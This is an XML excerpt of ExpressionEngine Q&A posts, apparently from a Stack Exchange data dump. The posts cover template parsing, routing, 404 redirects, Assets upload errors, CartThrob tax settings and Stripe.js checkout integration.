  <row Id="14602" PostTypeId="1" CreationDate="2013-10-15T11:05:45.447" Score="2" ViewCount="124" Body="&lt;p&gt;i'm quite new to ExpressionEngine so please forgive me if this is a stupid/badly formed question, but i could really use some help on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my problem is that within my template i have a matrix-loop, and within that loop i have another matrix loop, which depends on the value of the outer loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how i would like it to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{outer_matrix_field var_prefix=&quot;outer&quot;}&#xA;    {another_matrix_field var_prefix=&quot;inner&quot;}&#xA;        {if inner:package_{outer:row_count} == &quot;y&quot;}&#xA;            .. do stuff in here ..&#xA;        {/if}&#xA;    {/another_matrix_field}&#xA;{/outer_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;inner:package_{outer:row_count}&lt;/code&gt; gets parsed to &lt;code&gt;inner:package_1&lt;/code&gt;, but that in turn is not parsed into its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me like it is some problem with the order of how EE parses/executes the tags, and i've tried with parse=&quot;inward&quot; everywhere and that seems to do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i know that this could probably be solved using something like Playa, but that is not an option as the client has specifically asked for this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what i need to know is if this is even possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2013-10-17T21:31:59.233" Title="Matrix-loop within another matrix-loop" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14604" PostTypeId="2" ParentId="14599" CreationDate="2013-10-15T12:48:08.260" Score="4" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; plugin to override the default routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd add something like this to your index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;  'template_group/:any' =&amp;gt; 'template_group/template_name'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then just do something with the $1 value in the template.&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2013-10-15T12:48:08.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14605" PostTypeId="2" ParentId="14568" CreationDate="2013-10-15T12:48:28.087" Score="0" Body="&lt;p&gt;Just remove the &lt;code&gt;/site/&lt;/code&gt; bit, so they read &lt;code&gt;templates/blog-category&lt;/code&gt;, and you should be good to go :).&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-10-15T12:48:28.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14606" PostTypeId="2" ParentId="14494" CreationDate="2013-10-15T12:55:43.363" Score="1" Body="&lt;p&gt;it was a CT issue, an upgrade fixed the issue&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-15T12:55:43.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14609" PostTypeId="1" CreationDate="2013-10-15T13:18:33.287" Score="1" ViewCount="303" Body="&lt;p&gt;I'm having a strange issue (possible bug?) with the following (simplified) code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;&quot;}&#xA;&#xA;//Do Stuff//&#xA;&#xA;{if:else}&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot; status=&quot;Open&quot; url_title=&quot;{segment_1}&quot; dynamic=&quot;no&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {!-- If no results then paramater must be a category for product listing --}&#xA;    {if no_results}&#xA;        {exp:gwcode_categories cat_url_title=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;            //Do Stuff//&#xA;&#xA;            {if no_results}&#xA;                {redirect=&quot;404&quot;}&#xA;            {/if}&#xA;&#xA;        {/exp:gwcode_categories}&#xA;&#xA;&#xA;    {/if}&#xA;&#xA;    ///Do Stuff///&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is with the 404 redirect. If I set 404 page to none in the backend it correctly redirects to a default page saying: &quot;Status: 404 Page Not Found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I change the 404 setting in the backend to show a custom template, it redirects to the 404 page, regardless of whether a category is found by gwcategories or not, ie no results always ends up being true, or is not correctly parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of permutations of the no results conditional, eg: using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if {results_total} != 1}{redirect=&quot;404&quot;}{/if}, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which doesn't work either. Even though testing the output of {results_total} outputs 1, it still redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1835" LastEditorUserId="197" LastEditDate="2013-10-15T15:57:15.427" LastActivityDate="2013-10-15T15:57:15.427" Title="Weird issue with 404 redirect and no results" Tags="|conditionals|redirects|404|advanced-conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14610" PostTypeId="2" ParentId="14568" CreationDate="2013-10-15T13:54:56.450" Score="0" Body="&lt;p&gt;Are you referring to Stash embed templates, using the &lt;code&gt;stash_file_basepath&lt;/code&gt; config variable? If so, no, Template Routes cannot use those templates. Unless...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You set your stash template path to match the EE template path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tmpl_file_basepath'] = '/path/to/a/folder/';&#xA;$config['stash_file_basepath'] = $config['tmpl_file_basepath'].'default_site/site.group/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in Template Routes you could call up those templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;  'blog/:any' =&amp;gt; 'site/some_template',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-15T13:54:56.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14611" PostTypeId="1" CreationDate="2013-10-15T14:00:01.873" Score="1" ViewCount="227" Body="&lt;p&gt;My client needs to be able to manually set a product 'out of stock'. In store v1 they could do this simply by ticking the limit stock check box on the relevant product page (against the relevant product modifier). This doesn't seem to work in store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are controlling what is shown using the dynamic class options eg: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;span class=&quot;store_product_in_stock&quot;&amp;gt;IN STOCK&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;store_product_out_of_stock&quot;&amp;gt;OUT OF STOCK&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However no matter what we set in the admin, the product is being shown as 'in stock'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a grab of our admin:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mshk4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-10-15T14:00:01.873" Title="Exp:resso Store - Limit Stock not working in Store 2" Tags="|expresso-store|dynamic|out-of-stock|classes|" AnswerCount="0" CommentCount="6" FavoriteCount="0" ClosedDate="2013-10-30T18:31:12.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="14612" PostTypeId="2" ParentId="14609" CreationDate="2013-10-15T15:21:06.840" Score="1" Body="&lt;p&gt;This is happening because of the first &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;. You're telling to the &lt;code&gt;exp:channel:entries&lt;/code&gt; to parse everything before its inside other modules variables. So, the inner &lt;code&gt;if no_results&lt;/code&gt; is parsed before the &lt;code&gt;exp:gwcode_categories&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, I can't see the point of adding any of the &lt;code&gt;parse&lt;/code&gt; parameters. The segment variables will be parsed before the modules and plugins in any case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;&quot;}&#xA;&#xA;//Do Stuff//&#xA;&#xA;{/if}&#xA;{if segment_1}&#xA;&#xA;    {exp:channel:entries limit=&quot;1&quot; status=&quot;Open&quot; url_title=&quot;{segment_1}&quot; dynamic=&quot;no&quot;}&#xA;&#xA;        {!-- If no results then paramater must be a category for product listing --}&#xA;        {if no_results}&#xA;            {exp:gwcode_categories cat_url_title=&quot;{segment_1}&quot;}&#xA;&#xA;                //Do Stuff//&#xA;&#xA;                {if no_results}&#xA;                    {redirect=&quot;404&quot;}&#xA;                {/if}&#xA;&#xA;            {/exp:gwcode_categories}&#xA;&#xA;        {/if}&#xA;&#xA;        ///Do Stuff///&#xA;&#xA;    {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also turned your advanced conditional into two simple ones to prevent the second part to be parsed without need.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-15T15:21:06.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14613" PostTypeId="1" CreationDate="2013-10-15T15:38:04.177" Score="1" ViewCount="264" Body="&lt;p&gt;I'm having trouble uploading images using Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets: v2.1.4&lt;br&gt;&#xA;EE: v2.6.1 - Build Date: 20130506&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are uploading. If I refresh the Assets screen, I see them. But when I upload them, I receive this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://circa1977.net/snap/assets-uploading-trouble.png&quot; rel=&quot;nofollow&quot;&gt;http://circa1977.net/snap/assets-uploading-trouble.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that's only the case for the Image Uploads level directory. If I select Team on the left, and upload, I have no trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the AJAX response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  mkdir(): No such file or directory&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: libraries/Filemanager.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 1311&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  fopen(../uploads/images/_thumbs/index.html): failed to open stream: No such file or directory&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: libraries/Filemanager.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 1315&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  fwrite() expects parameter 1 to be resource, boolean given&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: libraries/Filemanager.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 1316&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message:  fclose() expects parameter 1 to be resource, boolean given&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Filename: libraries/Filemanager.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 1317&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;{&quot;success&quot;:true,&quot;file_id&quot;:91,&quot;folder_id&quot;:&quot;2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to upload via the native File Manager to that root directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked permissions on the cache folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following in config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&#xA;$config['assets_cp_path'] = dirname(__FILE__).'/../../syncadmin/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;server path to upload directory&lt;/code&gt; I have: ../uploads/images/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system folder resides above public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few different solutions, including switching session from Cookies-only to Cookies + Session ID, changing permissions, changing paths, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-10-30T12:38:45.153" Title="Cannot upload to root images directory in Assets, subdirectories OK" Tags="|assets|control-panel|uploads|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14614" PostTypeId="2" ParentId="14599" CreationDate="2013-10-15T16:26:52.850" Score="3" Body="&lt;p&gt;As Robson &amp;amp; Bhashkar have stated, use the index template in the template group to do the channel:entries tag pair - therefore doing away with the template reference in the URL. If you target template_group, it automatically uses the index template without you specifying /template_group/index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're trying to utilise the same template (template_group/index) for both the listing and the details - that's absolutely fine, just utilise no_results...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume template_group is &quot;blog&quot;, the URLs you want are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/blog (listing)&lt;/li&gt;&#xA;&lt;li&gt;/blog/my-article (details - not /blog/details/my-article)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assume you're accessing the entry details first, so blog/index template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    dynamic=&quot;yes&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    track_views=&quot;one&quot;&#xA;    disable=&quot;member_data|pagination&quot;}&#xA;    {if no_results}&#xA;        {embed=blog/listing}&#xA;    {/if}&#xA;&#xA;... display of blog details page   ...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will attempt to pull an entry based on the URL - if it can't match it, it will fall into the no_results conditional and embed the listing page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template blog/listing (note this template isn't the URL!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;news&quot;&#xA;    dynamic=&quot;no&quot; &#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    paginate=&quot;bottom&quot; paginate_base=&quot;/blog&quot;&#xA;    limit=&quot;10&quot;}&#xA;&#xA;    ...listing details...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-15T16:26:52.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14615" PostTypeId="1" CreationDate="2013-10-15T16:27:14.847" Score="0" ViewCount="48" Body="&lt;p&gt;For some reason I cannot disable the tax on certain products.  I have the no_tax set to YES in my product channel but it is still being added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.7.0 and Cart Throb 2.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; status=&quot;not closed&quot; dynamic=&quot;yes&quot;}&#xA;&#xA;                        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;                        &amp;lt;p&amp;gt;{product_description}&amp;lt;/p&amp;gt;&#xA;                        {if product_original_price &amp;amp;&amp;amp; product_original_price &amp;gt; product_price}&#xA;                            &amp;lt;p&amp;gt;Regular Price: {product_original_price}&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;span class=&quot;sale_price&quot;&amp;gt;Sale Price: {product_price}&amp;lt;/span&amp;gt; &amp;lt;/p&amp;gt;&#xA;                        {if:else}&#xA;                            &amp;lt;p&amp;gt;Regular Price: {product_price}&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                            {if no_tax !=&quot;Yes&quot;}&amp;lt;p&amp;gt;Price including tax {product_price:plus_tax}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;                        {exp:cartthrob:add_to_cart_form &#xA;                            entry_id=&quot;{entry_id}&quot;&#xA;                            no_tax=&quot;{no_tax}&quot;&#xA;                            no_shipping=&quot;{no_shipping}&quot;&#xA;                            return=&quot;shop/view_cart&quot;} &#xA;                            &amp;lt;p&amp;gt;&#xA;                                {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;                                    {if dynamic}&#xA;                                        &amp;lt;label&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                                        {input}&#xA;                                    {if:else}&#xA;                                        {if options_exist}&#xA;                                            &amp;lt;label&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                                            {select} &#xA;                                                &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;                                                    {option_name}{if option_price_numeric &amp;gt; 0} +{option_price}{/if}&#xA;                                                &amp;lt;/option&amp;gt;&#xA;                                            {/select}&#xA;                                        {/if}&#xA;                                    {/if}&#xA;                                {/exp:cartthrob:item_options}&#xA;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                            {if &quot;{inventory}&quot; == &quot;0&quot; }&#xA;                                &amp;lt;strong&amp;gt;This item is out of stock&amp;lt;/strong&amp;gt;&#xA;                            {if:else}&#xA;                                &amp;lt;label for=&quot;product_quantity&quot;&amp;gt;Quantity&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;product_quantity&quot; name=&quot;quantity&quot; size=&quot;8&quot;  /&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;&#xA;                        {/exp:cartthrob:add_to_cart_form}&#xA;&#xA;&#xA;            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-10-15T16:33:09.770" LastActivityDate="2013-10-15T16:51:08.593" Title="CartThrobTax being added when disabled" Tags="|cartthrob|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14616" PostTypeId="2" ParentId="14615" CreationDate="2013-10-15T16:51:08.593" Score="1" Body="&lt;p&gt;I had TAX on shipping checked off!!&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-15T16:51:08.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14617" PostTypeId="2" ParentId="14590" CreationDate="2013-10-15T16:52:45.067" Score="2" Body="&lt;p&gt;Store 2.x use the new Stripe.js which requires that you use &lt;code&gt;data-stripe=&quot;&quot;&lt;/code&gt; on your form elements oppose to &lt;code&gt;id=&quot;&quot;&lt;/code&gt; and &lt;code&gt;name=&quot;&quot;&lt;/code&gt;for all of your payment specific fields. Here is a stripped down version of your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;Payment Information&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;&amp;lt;input data-stripe=&quot;name&quot; type=&quot;text&quot; placeholder=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Credit Card Number&amp;lt;/label&amp;gt;&#xA;&amp;lt;input data-stripe=&quot;number&quot; type=&quot;text&quot; placeholder=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Expiration Month&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;select-wrapper&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;select-text&quot;&amp;gt;January&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;ss-dropdown&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;select data-stripe=&quot;exp-month&quot; id=&quot;payment_exp_month&quot; class=&quot;hidden-dropdown&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;01&quot; data-text=&quot;January&quot;&amp;gt;January&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;02&quot; data-text=&quot;February&quot;&amp;gt;February&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;03&quot; data-text=&quot;March&quot;&amp;gt;March&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;04&quot; data-text=&quot;April&quot;&amp;gt;April&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;05&quot; data-text=&quot;May&quot;&amp;gt;May&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;06&quot; data-text=&quot;June&quot;&amp;gt;June&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;07&quot; data-text=&quot;July&quot;&amp;gt;July&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;08&quot; data-text=&quot;August&quot;&amp;gt;August&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;09&quot; data-text=&quot;September&quot;&amp;gt;September&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;10&quot; data-text=&quot;October&quot;&amp;gt;October&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;11&quot; data-text=&quot;November&quot;&amp;gt;November&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;12&quot; data-text=&quot;December&quot;&amp;gt;December&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Expiration Year&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;select-wrapper&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;select-text&quot;&amp;gt;2013&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;ss-dropdown&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;select data-stripe=&quot;exp-year&quot; id=&quot;payment_exp_year&quot; class=&quot;hidden-dropdown&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;2013&quot; data-text=&quot;2013&quot;&amp;gt;2013&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2014&quot; data-text=&quot;2014&quot;&amp;gt;2014&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2015&quot; data-text=&quot;2015&quot;&amp;gt;2015&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2016&quot; data-text=&quot;2016&quot;&amp;gt;2016&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2017&quot; data-text=&quot;2017&quot;&amp;gt;2017&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2018&quot; data-text=&quot;2018&quot;&amp;gt;2018&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2019&quot; data-text=&quot;2019&quot;&amp;gt;2019&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;2020&quot; data-text=&quot;2020&quot;&amp;gt;2020&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Card Verification Number&amp;lt;/label&amp;gt;&#xA;&amp;lt;input data-stripe=&quot;cvc&quot; type=&quot;text&quot; placeholder=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;stripe&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you do that you will need to update your JS to use the new store.js. In its most basic form you will need the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    $.getScript('https://js.stripe.com/v2/', function() {&#xA;        Stripe.setPublishableKey('YOUR_PUBLISHABLE_KEY_HERE');&#xA;    });&#xA;&#xA;    /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;    $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;        /* Only handle requests for Stripe gateway */&#xA;        if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;            /* Temporarily disable the checkout submit button */&#xA;            $checkout_submit.attr('disabled', true);&#xA;&#xA;            /* Create a Stripe card token */&#xA;            Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;&#xA;            /* We don't want to submit the form yet */&#xA;            return false;&#xA;        }&#xA;    });&#xA;&#xA;    /* This function is triggered once Stripe has generated the token */&#xA;    function stripeResponseHandler(status, response) {&#xA;        /* Re-enable the checkout submit button */&#xA;        $checkout_submit.attr('disabled', false);&#xA;&#xA;        /* Check whether we have a valid credit card */&#xA;        if (response.error) {&#xA;            alert(response.error.message);&#xA;        } else {&#xA;            /* Set the card token and submit the checkout form */&#xA;            $(&quot;#payment_token&quot;).val(response.id);&#xA;            $checkout_submit.off(&quot;click&quot;).click();&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have that working you can use the &lt;a href=&quot;https://stripe.com/docs/tutorials/forms&quot; rel=&quot;nofollow&quot;&gt;Stripe docs&lt;/a&gt; to add any additional functionality that you want. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/therealjustinlong/6994416&quot; rel=&quot;nofollow&quot;&gt;Adjusted Checkout Template&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-15T16:52:45.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14619" PostTypeId="1" CreationDate="2013-10-15T18:27:23.730" Score="2" ViewCount="166" Body="&lt;p&gt;Is it possible to simply retrieve the entries from a Playa field that are in use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have a Team channel with everyone in the company's bio. 5 of those people have been selected across various Blog channel entries as the author. (In this case, a different person is logging in to post the entries, and we want to link to their bios.) Can I, with one tag, simply fetch the Team entries that are actively selected within Blog entries, in a sidebar without having a Blog entry as context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-10-16T19:28:05.520" Title="Playa: Reverse Relationship Entries without a channel entry" Tags="|playa|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
